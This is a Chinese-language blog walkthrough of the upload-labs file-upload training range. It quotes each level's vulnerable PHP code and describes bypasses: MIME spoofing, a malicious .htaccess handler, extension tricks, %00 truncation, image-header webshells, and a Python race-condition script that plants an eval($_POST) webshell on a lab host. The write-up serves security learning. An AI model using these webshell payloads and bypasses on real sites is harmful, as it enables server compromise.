C1imber's Blog

upload-labs通关教程

字数统计: 4.7k阅读时长: 18 min
2018/06/07 Share

upload-labs通关教程(持续更新)

最近在圈子里看到的一个文件上传闯关靶场,一共有19关,趁着这个机会做一个教程,以下的内容只是自己的思路,绕过方法有很多种,欢迎大家一起交流,共同学习!

靶场环境

1-18关,操作系统为windows,使用的phpstudy的集成环境,apache版本为2.4.23,所以apache2.2.x的解析漏洞在该环境下不管用,php版本为5.2.17,apache配置文件没有修改过,是默认的配置文件

第一关

mark
第一关的上传过滤只是在客户端进行过滤的,js对文件后缀名做了白名单限制,任何前端的验证都不算是真正的验证,在这里我使用了4种方式去绕过,这些方法都是绕过前端验证的常用方法

1.firebug查看元素,将这里的表单的onsubmit事件删除,这样提交表单时便不会触发验证函数
mark
mark
再次上传php就能上传
mark
mark

2.firebug控制台重新写一个和过滤函数名字一样的函数,使函数return true,覆盖之前的检查函数
mark
mark
之后上传php也能上传成功
mark

3.在火狐浏览器中禁用js,在地址栏输入about:config,查找javascript,将javascript.enabled的类型改为false,默认值为true
mark
禁用了js后就能绕过前端检测上传php了
mark
mark

4.先上传允许的后缀名绕过前端检测,之后burp抓包,在发往服务端的过程中将后缀名再修改为php
mark
mark
从而绕过了前端验证
mark
mark

第二关

第二关是在服务端做了验证,代码层对文件的MIME类型进行了检查,为了方便理解原理,可以看一下后端的检查代码

1
2
3
4
5
6
7
8
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}

有关这种场景的绕过方法,使用burp抓包,修改文件上传的content-type类型为白名单允许的图片MIME类型即可
mark
mark
然后就可以绕过检测上传成功了
mark
mark

第三关&第四关

第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析
mark
第三关第四关都是黑名单检测,但是在这里黑名单里都没有对.htacess做限制,所以这两关都可以上传.htaccess去绕过,.htaccess文件的内容如下

<FilesMatch "tony">
    SetHandler application/x-httpd-php
</FilesMatch>

我们将这样一个.htaccess文件上传到服务器上传目录,这样的话,当apache在解析该目录下的php时,就会按照.htaccess中的要求去解析,只要匹配到了文件名里有tony这个字符串,就会把该文件当成php文件解析

首先上传这样的一个.htaccess文件
mark
.htaccess可以上传成功
mark
接着上传一个黑名单里没有过滤的随意后缀名文件,但是文件名里要有tony,上传一个tony.jpg,内容为一句话木马
mark
上传成功,并且tony.jpg会被apache当成php文件解析
mark
mark
第四关也是同样的方法

第五关

第五关在第四关的黑名单中又加进了.htaccess,所以上传.htaccess这个思路没戏了

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

可以看看过滤内容,过滤的还挺多,这里apache版本为2.4.23,所以apache文件名(x.php.xxx)解析漏洞不能在这用

并且在做该黑名单检查之前将上传文件后的.和空格字符都给删除了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}

这样做是为了防止用户上传是在后缀名后加上.和空格去绕过黑名单,windows在创建文件时会删除后缀名后的.和空格,并且后缀名为php.的文件也是可以当作php解析的(windows和linux环境都可以)

同时对文件名后缀名大小写写做了检查,防止大小写绕过

但是通过代码发现在黑名单检查之前处理文件名时只删除了一次.,于是可以上传一个后缀名为php. .的文件去绕过,这个在黑名单检查之前后缀名就会被处理为php.
mark
可以看到成功绕过了上传检测
mark
mark

第六关

查看过滤代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}

相对于第五关的过滤还少了一些,相同的黑名单,但是相比于第五关,这里仅仅删除了文件名后的.,并没有删除空格,所以可以上传一个后缀名为php+空格的文件去绕过黑名单,windows在创建文件时会自动删掉最后的空格
mark
可以看到成功绕过这里的上传检测
mark
mark

第七关

第六关仅仅将文件名后面的点删除了,第七关则是仅仅将文件名后的空格给删除了,这里通过上传后缀名为php.的文件来绕过黑名单
mark
成功绕过黑名单上传
mark
mark

第八关

和第五关一样,虽然在黑名单检查之前将文件名后的.和空格给删除了,但是.只删除了一次,这里同样使用后缀名php. .去绕过

第九关

一样的问题,所以继续用第八关的方法去绕过上传

第十关

尝试上传后缀名php的文件,看到可以上传成功,不过后缀名php被删除了
mark
后缀名改为大写PHP上传,同样给删除了
mark
mark
猜想后台使用str_ireplace函数将文件后缀为黑名单的都给删除了,查看过滤代码确实如此

1
2
3
4
5
6
7
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}

因为str_ireplace函数只做一次替换,所以使用pphphp后缀名就能绕过
mark
可以看到成功上传php
mark
mark

第十一关

采用的防御手法是白名单过滤,只允许上传jpg、png和gif类型,并且将上传的文件给重命名为了白名单中的后缀

1
2
3
4
5
6
7
8
9
10
11
12
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}

处理上传文件的方式

1
2
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

看起来这样防御并没有什么问题,但是这一关上传目录是可控的

所以可以先上传一个后缀名为jpg,内容为一句话木马的文件,然后修改上传目录为.php后缀,之后在.php后使用%00截断后面的拼接内容,注意这里需要关掉magic_quotes_gpc这个php扩展,否则00会被转义

1
$_GET['save_path']这里使用00截断."/".rand(10, 99).date("YmdHis").".".$file_ext;

注意这里的00字符因为在url的GET参数中,所以需用进行url编码
mark

通过这种方法就可以成功绕过十一关的上传检测
mark
mark

第十二关

同样是上传路径可以控制,不同的是这里的路径是以POST参数传递的,同样的这里在目录后面使用00截断
mark
mark
mark
可以看到成功绕过上传
mark
mark

第十三关&第十四关&第十五关

任务和之前的不同,这里只需要成功上传图片马,并且图片马里有完整的webshell即可

对于第十三关第十四关和第十五关这三关都是对文件幻数进行了检测,只不过第十四关使用的是getimagesize函数,第十五关使用的是exif_imagetype函数,函数返回值内容不一样而已

要想突破文件幻数检测,首先要了解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

jpg文件头部格式
mark
文件头值为FFD8FFE000104A464946

png文件头格式,网上大部分资料写的都是89504E47,但是经过我的测试,这四个16进制是仅仅不够的,如果只是89504E47的话,会使getimagesize函数和exif_imagetype函数报错
mark
mark
mark
经过我的测试真正的文件头值应该是89504E470D0A1A0A
mark

gif文件头格式
mark
文件头值为474946383961

经过测试,getimagesize函数和exif_imagetype函数都只是是对文件头进行检查,只要文件头部符合函数就会返回内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
echo "check jpg</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("heishacker.jpg"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("heishacker.jpg"));
echo "</br>check png</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("mingren.png"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("mingren.png"));
echo "</br>check gif</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("xiangtian.gif"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("xiangtian.gif"));
?>

mark
所以这几关都可以上传图片马,图片马的文件头就是正常图片的文件头格式,从而绕过图片幻数检测

windows下图片马制作方式

copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif

参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件(php文件),x.php文件里为要写的一句话木马

这三关都可以成功上传图片马,并且里面有完整的一句话木马,但是有时候图片马里面的一些字符会使php报错,导致用文件包含或者解析漏洞去解析图片马中的php时导致解析不了,可以看到利用文件包含去解析三个图片马时均不能解析
mark
mark
mark
所以在寻找图片制作图片马时需要耐心的寻找一些不会使php报错的图片

而且有时候对文件大小也有限制,所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马
mark
mark
mark
之后上传这三个伪图片马,这样不光可以上传成功,也可以利用文件包含漏洞或解析漏洞解析成功
mark
mark
mark
mark
mark
mark
这三关均可以采用这种方式通关,第十五关需要在php配置文件中开启php的php_exif扩展
mark
当然,耐心的选择一个合适的图片制作图片马也是可以的

第十六关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

通过第十六关的php代码可以看到对文件后缀名和MIME类型进行了检查,而且用到了php的imagecreatefromjpegimagecreatefrompngimagecreatefromgif这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片,所以如果在这里上传的是一个普通的图片马,虽然图片马可以上传成功,但是上传的图片马在经过二次渲染后,图片尾部的php代码就会被删除掉,所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞,如果这几个二次渲染函数处理的不是一个图片,就会使这几个函数报错,因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片,所以在这里只需要上传一个后缀名为jpg、png、gif的一句话木马,这样的话上传的一句话木马会绕过后缀名和MIME类型的检查,通过move_uploaded_file上传至服务器,但是遇到二次渲染时,由于上传的不是一个真正的图片,所以二次渲染函数在处理时会因为图片的内部格式报错,从而突破了对图片的二次渲染,这时候页面虽然会显示图片格式不允许,但是上传的一句话木马已经上传到了服务器

分别上传后缀名为jpg、png、gif的一句话木马,可以看到虽然上传的格式不允许,但是一句话马已经上传成功了

jpg
mark
mark
mark
png
mark
mark
mark
gif
mark
mark
mark

以上只是单单针对这道题,那么如何真正的使用图片马突破二次渲染呢?可以看到如果直接使用在图片添加一句话木马的图片马上传的话,在二次渲染后一句话会被删除,导致图片马不能利用

按照一般的方法制作三种图片马
mark
上传jpg图片马
mark
上传后经过imagecreatefromjpeg函数二次渲染,图片尾部的php一句话被删除
mark
导致jpg图片马不能使用
mark
上传png图片马
mark
上传后经过imagecreatefrompng函数二次渲染,图片尾部的php一句话被删除
mark
导致png图片马不能使用
mark
上传gif图片马
mark
上传后经过imagecreatefromgif函数二次渲染,图片尾部的php一句话被删除
mark
导致gif图片马不能使用
mark

尝试制作可以真正突破二次渲染的函数,这里可以通过十六进制编辑器查看比较上传前后图片的十六进制 ,找到二次渲染前后十六进制内容没有改变的部分,尝试将图片马写到这些没有改变的部分

自己对图片的16进制格式不是太理解,导致只制作出来了突破二次渲染的gif图片马,jpg和png都制作失败了,以后有时间再去研究
mark
mark
将相同的部分(全00)替换为一句话木马,运气比较好,图片并没有损坏,而且绕过了二次渲染,并且没有报php语法错误
mark
但是jpg和png就不一样了,出现了很多问题,暂时还没有制作出真正图片二次渲染的jpg、png图片马

第十七关

要求上传一个webshell到服务器,提示需要代码审计,查看php源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

通过php代码可以看到对上传的文件后缀做了白名单限制,如果上传的文件后缀如果不是jpg、png、gif的话就会被删除掉。但是这里可以使用竞争上传的方式去突破,同时使用多个进程去上传php文件,php文件的内容是向服务器目录下写一个webshell,之后不断去去访问上传的php文件,如果在删除该php文件之前访问到了该php文件,就会向服务器目录写一个webshell,用python去实现多进程上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.242.128/upload-labs/Pass-17/index.php"
geturl="http://192.168.242.128/upload-labs/upload/info.php"
file={'upload_file':('info.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[ironman]);?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()

可以看到通过多进程同时上传时可以成功在文件删除之前访问到该文件
mark
在服务器目录下可以看到成功写入shell.php
mark
mark

CATALOG
  1. 1. upload-labs通关教程(持续更新)
    1. 1.0.1.
    2. 1.0.2. 靶场环境
    3. 1.0.3. 第一关
    4. 1.0.4. 第二关
    5. 1.0.5. 第三关&第四关
    6. 1.0.6. 第五关
    7. 1.0.7. 第六关
    8. 1.0.8. 第七关
    9. 1.0.9. 第八关
    10. 1.0.10. 第九关
    11. 1.0.11. 第十关
    12. 1.0.12. 第十一关
    13. 1.0.13. 第十二关
    14. 1.0.14. 第十三关&第十四关&第十五关
    15. 1.0.15. 第十六关
    16. 1.0.16. 第十七关